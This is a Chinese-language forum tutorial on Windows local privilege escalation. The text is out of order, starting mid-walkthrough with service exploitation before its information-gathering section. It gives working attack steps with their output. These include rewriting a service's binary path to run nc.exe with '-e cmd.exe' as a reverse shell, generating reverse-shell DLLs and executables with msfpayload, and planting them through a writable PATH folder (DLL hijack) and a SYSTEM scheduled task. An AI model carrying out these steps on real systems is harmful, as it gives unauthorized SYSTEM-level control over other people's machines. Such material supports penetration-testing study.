LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : NT AUTHORITY\LocalService
[color=red]C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"[/color]
[SC] ChangeServiceConfig SUCCESS
[color=red]C:\> sc config upnphost obj= ".\LocalSystem" password= ""[/color]
[SC] ChangeServiceConfig SUCCESS
[color=red]C:\> sc qc upnphost[/color]
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Universal Plug and Play Device Host
DEPENDENCIES : SSDPSRV
SERVICE_START_NAME : LocalSystem
[color=red]C:\> net start upnphost[/color]
即使service有配置错误我们也不能总是提权成功。下图来自Brett Moore的Windows privilege escalation，下图的任何权限都将会给我们一个SYSTEM shell。
[img]http://dl2.iteye.com/upload/attachment/0101/2125/b0b6049d-0c81-309a-9caa-38b35767c7bd.png[/img]
记住我们拿下的session属于哪个user group。就像之前说过的，“Power User”同样被认为是低权限user group。 “Power User”有他们的一些漏洞，参考[url]http://blogs.technet.com/b/markrussinovich/archive/2006/05/01/the-power-in-power-users.aspx[/url]
2）最后我们将检查文件/文件夹权限，如果我们不能直接攻击OS，那么我们就把脏活扔给OS来做。由于这方面涉及内容太广，这里我将介绍两个权限漏洞并且如果利用他们。一旦你掌握了思路你就会把这些技术应用到其他场景。
i）作为第一个例子我们重复"Elevating privileges by exploiting weak folder permissions"这篇论文[url]http://www.greyhathacker.net/?p=738[/url]。强烈推荐。
这个例子是一个dll劫持。如果一个service从一个我们有写权限里面加载一个文件，那么我们可以利用它给我们弹出一个shell。
通常来说一个Windows应用程序将会使用一个预定义的搜索路径来寻找DLL，并且它会用一个特殊的顺序来检查。DLL劫持通常发生在把一个恶意的DLL放在一个合法搜索路径之前的文件夹。
win32按照下列顺序搜索路径：
1 - The directory from which the application loaded
2 - 32-bit System directory (C:\Windows\System32)
3 - 16-bit System directory (C:\Windows\System)
4 - Windows directory (C:\Windows)
5 - The current working directory (CWD)
6 - Directories in the PATH environment variable (system then user)
有时会发生尝试装载一个本地不存在的DLL。有很多原因会引起这种问题，例如DLL需要特定的没安装的插件或没有安装的feature。在这种情况下，Parvez 发现某些Windows试图加载默认安装里没有的DLL。因为DLL毫无疑问不存在，所以我们会递归所有的搜索路径。作为一个低权限user我们基本不报希望把一个恶意DLL放在1-4项里面，5在这种情况下不可能因为我们讨论的是Windows service。但是如果我们有对Windows PATH的任何文件夹有写权限，那么我们就大功告成。
例如：
[color=red][b]# This is on Windows 7 as low privilege user1.[/b][/color]
[color=red]C:\Users\user1\Desktop> echo %username%[/color]
user1
[color=red][b]# We have a win here since any non-default directory in "C:\" will give write access to authenticated users.[/b][/color]
[color=red]C:\Users\user1\Desktop> echo %path%[/color]
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Program Files\OpenVPN\bin;C:\Python27
[b][color=red]# We can check our access permissions with accesschk or cacls.[/color][/b]
[color=red]C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"[/color]
C:\Python27
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Administrators
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
R BUILTIN\Users
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
SYNCHRONIZE
READ_CONTROL
RW NT AUTHORITY\Authenticated Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_EA
DELETE
SYNCHRONIZE
READ_CONTROL
[color=red]C:\Users\user1\Desktop> cacls "C:\Python27"[/color]
C:\Python27 BUILTIN\Administrators:(ID)F
BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
NT AUTHORITY\SYSTEM:(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
[b][color=red]# Before we go over to action we need to check the status of the IKEEXT service. In this case we can see
it is set to "AUTO_START" so it will launch on boot![/color][/b]
[color=red]C:\Users\user1\Desktop> sc qc IKEEXT[/color]
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: IKEEXT
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k netsvcs
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : IKE and AuthIP IPsec Keying Modules
DEPENDENCIES : BFE
SERVICE_START_NAME : LocalSystem
既然条件都满足了，我们可以生产一个恶意DLL以及弹出一个shell
[color=red]root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O[/color]
Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:
Connect back to attacker and spawn a command shell
[color=red]root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D > /root/Desktop/evil.dll[/color]
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
Length: 314
Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"}
在把DLL传送到我们的目标机以后，我们需要把它重命名为wlbsctrl.dll并且把它放到C:\Python27。然后我们只需要等待系统重启(或我们强制重启)然后我们就可以得到一个SYSTEM shell。
# Again, this is as low privilege user1.
[color=red]C:\Users\user1\Desktop> dir[/color]
Volume in drive C has no label.
Volume Serial Number is 948D-A98F
Directory of C:\Users\user1\Desktop
02/18/2014 01:49 PM <DIR> .
02/18/2014 01:49 PM <DIR> ..
04/22/2013 09:39 AM 331,888 accesschk.exe
02/18/2014 12:38 PM 14,336 evil.dll
01/25/2014 12:46 AM 36,864 fubar.exe
01/22/2014 08:17 AM <DIR> incognito2
06/30/2011 01:52 PM 1,667,584 ncat.exe
11/22/2013 07:39 PM 1,225 wmic_info.bat
5 File(s) 2,051,897 bytes
3 Dir(s) 73,052,160 bytes free
[color=red]C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll[/color]
1 file(s) copied.
C:\Users\user1\Desktop> [color=red]dir C:\Python27[/color]
Volume in drive C has no label.
Volume Serial Number is 948D-A98F
Directory of C:\Python27
02/18/2014 01:53 PM <DIR> .
02/18/2014 01:53 PM <DIR> ..
10/20/2012 02:52 AM <DIR> DLLs
10/20/2012 02:52 AM <DIR> Doc
10/20/2012 02:52 AM <DIR> include
01/28/2014 03:45 AM <DIR> Lib
10/20/2012 02:52 AM <DIR> libs
04/10/2012 11:34 PM 40,092 LICENSE.txt
04/10/2012 11:18 PM 310,875 NEWS.txt
04/10/2012 11:31 PM 26,624 python.exe
04/10/2012 11:31 PM 27,136 pythonw.exe
04/10/2012 11:18 PM 54,973 README.txt
10/20/2012 02:52 AM <DIR> tcl
10/20/2012 02:52 AM <DIR> Tools
04/10/2012 11:31 PM 49,664 w9xpopen.exe
02/18/2014 12:38 PM 14,336 wlbsctrl.dll
7 File(s) 523,700 bytes
9 Dir(s) 73,035,776 bytes free
ii）我们最后一个例子把注意力放在scheduled tasks，回顾一下我们早先搜集到的信息：
HostName: B33F
TaskName: \LogGrabberTFTP
Next Run Time: 2/19/2014 9:00:00 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: B33F\b33f
Task To Run: E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 9:00:00 AM
Start Date: 2/17/2014
End Date: N/A
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
看起来像有一个TFTP客户端连接到远程主机收集一个log文件。我们可以看到这个task每天早上9点以SYSTEM权限运行，让我们看看我们是否有这个文件夹的写权限
[color=red]C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs"[/color]
E:\GrabLogs
Medium Mandatory Level (Default) [No-Write-Up]
RW BUILTIN\Administrators
FILE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
FILE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_EA
DELETE
SYNCHRONIZE
READ_CONTROL
R BUILTIN\Users
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_EA
FILE_TRAVERSE
SYNCHRONIZE
READ_CONTROL
[color=red]C:\Users\user1\Desktop> dir "E:\GrabLogs"[/color]
Volume in drive E is More
Volume Serial Number is FD53-2F00
Directory of E:\GrabLogs
02/18/2014 11:34 PM <DIR> .
02/18/2014 11:34 PM <DIR> ..
02/18/2014 11:34 PM <DIR> Logs
02/18/2014 09:21 PM 180,736 tftp.exe
1 File(s) 180,736 bytes
3 Dir(s) 5,454,602,240 bytes free
很明显这是一个严重的配置问题，没有必要以SYSTEM权限运行这个task，但是更严重的是任何认证user都有这个文件夹的写权限。理想情况下对于一次渗透测试我会在TFTP客户端里面放一个后门。然而对于这个例子，我们可以通过metasploit生成一个二进制文件然后覆盖它。
[color=red]root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O[/color]
Name: Windows Command Shell, Reverse TCP Inline
Module: payload/windows/shell_reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 314
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
sf <stephen_fewer@harmonysecurity.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 127.0.0.1 yes The listen address
LPORT 9988 yes The listen port
Description:
Connect back to attacker and spawn a command shell
[color=red]root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t[/color]
exe > /root/Desktop/evil-tftp.exe
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
为了证明这次提权，我把时间调快了
在结束之前，我想给几个accesschk的说明：
[b][color=red]# When executing any of the sysinternals tools for the first time the user will be presented with a GUIpop-up to accept the EULA. This is obviously a big problem, however we can add an extra command line flagto automatically accept the EULA.[/b]
accesschk.exe /accepteula ... ... ...
[b]# Find all weak folder permissions per drive.[/b]
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
[b]# Find all weak file permissions per drive.[/b]
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*[/color]
注意我将会使用各种版本的Windows来强调命令行可能存在的差异。记住不同的OS/SP差异可能导致命令格式不存在或者产生轻微不同的输出。我尝试把本文组织成各个版本的Windows通用的提权方法。
(一)信息收集
1）获取操作系统版本
[color=red]C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"[/color]
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
2）hostname和user
[color=red]C:\Windows\system32> hostname[/color]
b33f
[color=red]C:\Windows\system32> echo %username%[/color]
user1
3）查看user1是否属于本地管理员组
[color=red]C:\Windows\system32> net users[/color]
User accounts for \\B33F
-------------------------------------------------------------------------------
Administrator b33f Guest
user1
The command completed successfully.
[color=red]C:\Windows\system32> net user user1[/color]
User name user1
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/11/2014 7:47:14 PM
Password expires Never
Password changeable 1/11/2014 7:47:14 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/11/2014 8:05:09 PM
Logon hours allowed All
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
以上是我们暂时需要知道的所有信息。接下来是网络信息，主机连接到哪里以及这些连接上有哪些规则
4）网络接口和路由表
[color=red]C:\Windows\system32> ipconfig /all[/color]
Windows IP Configuration
Host Name . . . . . . . . . . . . : b33f
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network)
Physical Address. . . . . . . . . : 0C-84-DC-62-60-29
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . . . . . : 00-0C-29-56-79-35
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::5cd4:9caf:61c0:ba6e%11(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.0.104(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Saturday, January 11, 2014 3:53:55 PM
Lease Expires . . . . . . . . . . : Sunday, January 12, 2014 3:53:55 PM
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-14-24-1D-00-0C-29-56-79-35
DNS Servers . . . . . . . . . . . : 192.168.0.1
NetBIOS over Tcpip. . . . . . . . : Enabled
[color=red]C:\Windows\system32> route print[/color]
===========================================================================
Interface List
18...0c 84 dc 62 60 29 ......Bluetooth Device (Personal Area Network)
13...00 ff 0c 0d 4f ed ......TAP-Windows Adapter V9
11...00 0c 29 56 79 35 ......Intel(R) PRO/1000 MT Network Connection
1...........................Software Loopback Interface 1
16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
19...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
14...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
===========================================================================
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.104 10
127.0.0.0 255.0.0.0 On-link 127.0.0.1 306
127.0.0.1 255.255.255.255 On-link 127.0.0.1 306
127.255.255.255 255.255.255.255 On-link 127.0.0.1 306
192.168.0.0 255.255.255.0 On-link 192.168.0.104 266
192.168.0.104 255.255.255.255 On-link 192.168.0.104 266
192.168.0.255 255.255.255.255 On-link 192.168.0.104 266
224.0.0.0 240.0.0.0 On-link 127.0.0.1 306
224.0.0.0 240.0.0.0 On-link 192.168.0.104 266
255.255.255.255 255.255.255.255 On-link 127.0.0.1 306
255.255.255.255 255.255.255.255 On-link 192.168.0.104 266
===========================================================================
Persistent Routes:
None
IPv6 Route Table
===========================================================================
Active Routes:
If Metric Network Destination Gateway
14 58 ::/0 On-link
1 306 ::1/128 On-link
14 58 2001::/32 On-link
14 306 2001:0:5ef5:79fb:8d2:b4e:3f57:ff97/128
On-link
11 266 fe80::/64 On-link
14 306 fe80::/64 On-link
14 306 fe80::8d2:b4e:3f57:ff97/128
On-link
11 266 fe80::5cd4:9caf:61c0:ba6e/128
On-link
1 306 ff00::/8 On-link
14 306 ff00::/8 On-link
11 266 ff00::/8 On-link
===========================================================================
Persistent Routes:
None
[color=red][b]# arp -A displays the ARP (Address Resolution Protocol) cache table for all available interfaces.[/b][/color]
[color=red]C:\Windows\system32> arp -A[/color]
Interface: 192.168.0.104 --- 0xb
Internet Address Physical Address Type
192.168.0.1 90-94-e4-c5-b0-46 dynamic
192.168.0.101 ac-22-0b-af-bb-43 dynamic
192.168.0.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
255.255.255.255 ff-ff-ff-ff-ff-ff static
5）接下来是活跃的网络连接和防火墙规则
[color=red]C:\Windows\system32> netstat -ano[/color]
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 684
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:5354 0.0.0.0:0 LISTENING 1400
TCP 192.168.0.104:139 0.0.0.0:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 684
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:5357 [::]:0 LISTENING 4
UDP 0.0.0.0:5355 *:* 1100
UDP 0.0.0.0:52282 *:* 976
UDP 0.0.0.0:55202 *:* 2956
UDP 0.0.0.0:59797 *:* 1400
UDP 127.0.0.1:1900 *:* 2956
UDP 127.0.0.1:65435 *:* 2956
UDP 192.168.0.104:137 *:* 4
UDP 192.168.0.104:138 *:* 4
UDP 192.168.0.104:1900 *:* 2956
UDP 192.168.0.104:5353 *:* 1400
UDP 192.168.0.104:65434 *:* 2956
UDP [::]:5355 *:* 1100
UDP [::]:52281 *:* 976
UDP [::]:52283 *:* 976
UDP [::]:55203 *:* 2956
UDP [::]:59798 *:* 1400
UDP [::1]:1900 *:* 2956
UDP [::1]:5353 *:* 1400
UDP [::1]:65433 *:* 2956
UDP [fe80::5cd4:9caf:61c0:ba6e%11]:1900 *:* 2956
UDP [fe80::5cd4:9caf:61c0:ba6e%11]:65432 *:* 2956
[color=red][b]# The following two netsh commands are examples of commands that are not universal across OS/SP. The netsh
firewall commands are only available from XP SP2 and upwards.
#下面两条命令在windows7的命令行里面不好用，但是可以在powershell里面使用
[/b][/color][color=red]C:\Windows\system32> netsh firewall show state[/color]
Firewall status:
-------------------------------------------------------------------
Profile = Standard
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Group policy version = Windows Firewall
Remote admin mode = Disable
Ports currently open on all network interfaces:
Port Protocol Version Program
-------------------------------------------------------------------
No ports are currently open on all network interfaces.
[color=red]C:\Windows\system32> netsh firewall show config[/color]
Domain profile configuration:
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Allowed programs configuration for Domain profile:
Mode Traffic direction Name / Program
-------------------------------------------------------------------
Port configuration for Domain profile:
Port Protocol Mode Traffic direction Name
-------------------------------------------------------------------
ICMP configuration for Domain profile:
Mode Type Description
-------------------------------------------------------------------
Enable 2 Allow outbound packet too big
Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Service configuration for Standard profile:
Mode Customized Name
-------------------------------------------------------------------
Enable No Network Discovery
Allowed programs configuration for Standard profile:
Mode Traffic direction Name / Program
-------------------------------------------------------------------
Enable Inbound COMRaider / E:\comraider\comraider.exe
Enable Inbound nc.exe / C:\users\b33f\desktop\nc.exe
Port configuration for Standard profile:
Port Protocol Mode Traffic direction Name
-------------------------------------------------------------------
ICMP configuration for Standard profile:
Mode Type Description
-------------------------------------------------------------------
Enable 2 Allow outbound packet too big
Log configuration:
-------------------------------------------------------------------
File location = C:\Windows\system32\LogFiles\Firewall\pfirewall.log
Max file size = 4096 KB
Dropped packets = Disable
Connections = Disable
6）最后我们来简单查看一下主机上都运行什么：scheduled tasks, running processes, started services and installed drivers.
# This will display verbose output for all scheduled tasks, below you can see sample output for a
single task.
[color=red]C:\Windows\system32> schtasks /query /fo LIST /v[/color]
Folder: \Microsoft\Windows Defender
HostName: B33F
TaskName: \Microsoft\Windows Defender\MP Scheduled Scan
Next Run Time: 1/22/2014 5:11:13 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: N/A
Task To Run: c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob
-WinTask -RestrictPrivilegesScan
Start In: N/A
Comment: Scheduled Scan
Scheduled Task State: Enabled
Idle Time: Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutes
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 5:11:13 AM
Start Date: 1/1/2000
End Date: 1/1/2100
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
[..Snip..]
# The following command links running processes to started services.
[color=red]C:\Windows\system32> tasklist /SVC[/color]
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
smss.exe 244 N/A
csrss.exe 332 N/A
csrss.exe 372 N/A
wininit.exe 380 N/A
winlogon.exe 428 N/A
services.exe 476 N/A
lsass.exe 484 SamSs
lsm.exe 496 N/A
svchost.exe 588 DcomLaunch, PlugPlay, Power
svchost.exe 668 RpcEptMapper, RpcSs
svchost.exe 760 Audiosrv, Dhcp, eventlog,
HomeGroupProvider, lmhosts, wscsvc
svchost.exe 800 AudioEndpointBuilder, CscService, Netman,
SysMain, TrkWks, UxSms, WdiSystemHost,
wudfsvc
svchost.exe 836 AeLookupSvc, BITS, gpsvc, iphlpsvc,
LanmanServer, MMCSS, ProfSvc, Schedule,
seclogon, SENS, ShellHWDetection, Themes,
Winmgmt, wuauserv
audiodg.exe 916 N/A
svchost.exe 992 EventSystem, fdPHost, netprofm, nsi,
WdiServiceHost, WinHttpAutoProxySvc
svchost.exe 1104 CryptSvc, Dnscache, LanmanWorkstation,
NlaSvc
spoolsv.exe 1244 Spooler
svchost.exe 1272 BFE, DPS, MpsSvc
mDNSResponder.exe 1400 Bonjour Service
taskhost.exe 1504 N/A
taskeng.exe 1556 N/A
vmtoolsd.exe 1580 VMTools
dwm.exe 1660 N/A
explorer.exe 1668 N/A
vmware-usbarbitrator.exe 1768 VMUSBArbService
TPAutoConnSvc.exe 1712 TPAutoConnSvc
[..Snip..]
[color=red]C:\Windows\system32> net start[/color]
These Windows services are started:
Application Experience
Application Information
Background Intelligent Transfer Service
Base Filtering Engine
Bluetooth Support Service
Bonjour Service
COM+ Event System
COM+ System Application
Cryptographic Services
DCOM Server Process Launcher
Desktop Window Manager Session Manager
DHCP Client
Diagnostic Policy Service
Diagnostic Service Host
Diagnostic System Host
Distributed Link Tracking Client
Distributed Transaction Coordinator
DNS Client
Function Discovery Provider Host
Function Discovery Resource Publication
Group Policy Client
[..Snip..]
[b][color=red]# This can be useful sometimes as some 3rd party drivers, even by reputable companies, contain more holes
than Swiss cheese. This is only possible because ring0 exploitation lies outside most peoples expertise.[/b]
C:\Windows\system32> DRIVERQUERY[/color]
Module Name Display Name Driver Type Link Date
============ ====================== ============= ======================
1394ohci 1394 OHCI Compliant Ho Kernel 11/20/2010 6:01:11 PM
ACPI Microsoft ACPI Driver Kernel 11/20/2010 4:37:52 PM
AcpiPmi ACPI Power Meter Drive Kernel 11/20/2010 4:47:55 PM
adp94xx adp94xx Kernel 12/6/2008 7:59:55 AM
adpahci adpahci Kernel 5/2/2007 1:29:26 AM
adpu320 adpu320 Kernel 2/28/2007 8:03:08 AM
AFD Ancillary Function Dri Kernel 11/20/2010 4:40:00 PM
agp440 Intel AGP Bus Filter Kernel 7/14/2009 7:25:36 AM
aic78xx aic78xx Kernel 4/12/2006 8:20:11 AM
aliide aliide Kernel 7/14/2009 7:11:17 AM
amdagp AMD AGP Bus Filter Dri Kernel 7/14/2009 7:25:36 AM
amdide amdide Kernel 7/14/2009 7:11:19 AM
AmdK8 AMD K8 Processor Drive Kernel 7/14/2009 7:11:03 AM
AmdPPM AMD Processor Driver Kernel 7/14/2009 7:11:03 AM
amdsata amdsata Kernel 3/19/2010 9:08:27 AM
amdsbs amdsbs Kernel 3/21/2009 2:35:26 AM
amdxata amdxata Kernel 3/20/2010 12:19:01 AM
AppID AppID Driver Kernel 11/20/2010 5:29:48 PM
arc arc Kernel 5/25/2007 5:31:06 AM
[..Snip..]
(二)WMIC
wmic参考资源http://www.computerhope.com/wmic.htm
不幸的是一些默认配置下的Windows不允许使用WMIC，除非用户是管理员组的。根据我的测试，我注意到Windows XP不允许低权限的用户使用WMIC。相反的是，默认Windows7和Windows8企业版默认允许低权限用户使用WMIC。
为了给一个WMIC的基本印象：
[color=red]C:\Windows\system32> wmic /?[/color]
[global switches]
The following global switches are available:
/NAMESPACE Path for the namespace the alias operate against.
/ROLE Path for the role containing the alias definitions.
/NODE Servers the alias will operate against.
/IMPLEVEL Client impersonation level.
/AUTHLEVEL Client authentication level.
/LOCALE Language id the client should use.
/PRIVILEGES Enable or disable all privileges.
/TRACE Outputs debugging information to stderr.
/RECORD Logs all input commands and output.
/INTERACTIVE Sets or resets the interactive mode.
/FAILFAST Sets or resets the FailFast mode.
/USER User to be used during the session.
/PASSWORD Password to be used for session login.
/OUTPUT Specifies the mode for output redirection.
/APPEND Specifies the mode for output redirection.
/AGGREGATE Sets or resets aggregate mode.
/AUTHORITY Specifies the for the connection.
/?[:<BRIEF|FULL>] Usage information.
For more information on a specific global switch, type: switch-name /?
The following alias/es are available in the current role:
ALIAS - Access to the aliases available on the local system
BASEBOARD - Base board (also known as a motherboard or system board) management.
BIOS - Basic input/output services (BIOS) management.
BOOTCONFIG - Boot configuration management.
CDROM - CD-ROM management.
COMPUTERSYSTEM - Computer system management.
CPU - CPU management.
CSPRODUCT - Computer system product information from SMBIOS.
DATAFILE - DataFile Management.
DCOMAPP - DCOM Application management.
DESKTOP - User's Desktop management.
DESKTOPMONITOR - Desktop Monitor management.
DEVICEMEMORYADDRESS - Device memory addresses management.
DISKDRIVE - Physical disk drive management.
DISKQUOTA - Disk space usage for NTFS volumes.
DMACHANNEL - Direct memory access (DMA) channel management.
ENVIRONMENT - System environment settings management.
FSDIR - Filesystem directory entry management.
GROUP - Group account management.
IDECONTROLLER - IDE Controller management.
IRQ - Interrupt request line (IRQ) management.
JOB - Provides access to the jobs scheduled using the schedule service.
LOADORDER - Management of system services that define execution dependencies.
LOGICALDISK - Local storage device management.
LOGON - LOGON Sessions.
MEMCACHE - Cache memory management.
MEMORYCHIP - Memory chip information.
MEMPHYSICAL - Computer system's physical memory management.
NETCLIENT - Network Client management.
NETLOGIN - Network login information (of a particular user) management.
NETPROTOCOL - Protocols (and their network characteristics) management.
NETUSE - Active network connection management.
NIC - Network Interface Controller (NIC) management.
NICCONFIG - Network adapter management.
NTDOMAIN - NT Domain management.
NTEVENT - Entries in the NT Event Log.
NTEVENTLOG - NT eventlog file management.
ONBOARDDEVICE - Management of common adapter devices built into the motherboard (system board).
OS - Installed Operating System/s management.
PAGEFILE - Virtual memory file swapping management.
PAGEFILESET - Page file settings management.
PARTITION - Management of partitioned areas of a physical disk.
PORT - I/O port management.
PORTCONNECTOR - Physical connection ports management.
PRINTER - Printer device management.
PRINTERCONFIG - Printer device configuration management.
PRINTJOB - Print job management.
PROCESS - Process management.
PRODUCT - Installation package task management.
QFE - Quick Fix Engineering.
QUOTASETTING - Setting information for disk quotas on a volume.
RDACCOUNT - Remote Desktop connection permission management.
RDNIC - Remote Desktop connection management on a specific network adapter.
RDPERMISSIONS - Permissions to a specific Remote Desktop connection.
RDTOGGLE - Turning Remote Desktop listener on or off remotely.
RECOVEROS - Information that will be gathered from memory when the operating system fails.
REGISTRY - Computer system registry management.
SCSICONTROLLER - SCSI Controller management.
SERVER - Server information management.
SERVICE - Service application management.
SHADOWCOPY - Shadow copy management.
SHADOWSTORAGE - Shadow copy storage area management.
SHARE - Shared resource management.
SOFTWAREELEMENT - Management of the elements of a software product installed on a system.
SOFTWAREFEATURE - Management of software product subsets of SoftwareElement.
SOUNDDEV - Sound Device management.
STARTUP - Management of commands that run automatically when users log onto the computer
system.
SYSACCOUNT - System account management.
SYSDRIVER - Management of the system driver for a base service.
SYSTEMENCLOSURE - Physical system enclosure management.
SYSTEMSLOT - Management of physical connection points including ports, slots and
peripherals, and proprietary connections points.
TAPEDRIVE - Tape drive management.
TEMPERATURE - Data management of a temperature sensor (electronic thermometer).
TIMEZONE - Time zone data management.
UPS - Uninterruptible power supply (UPS) management.
USERACCOUNT - User account management.
VOLTAGE - Voltage sensor (electronic voltmeter) data management.
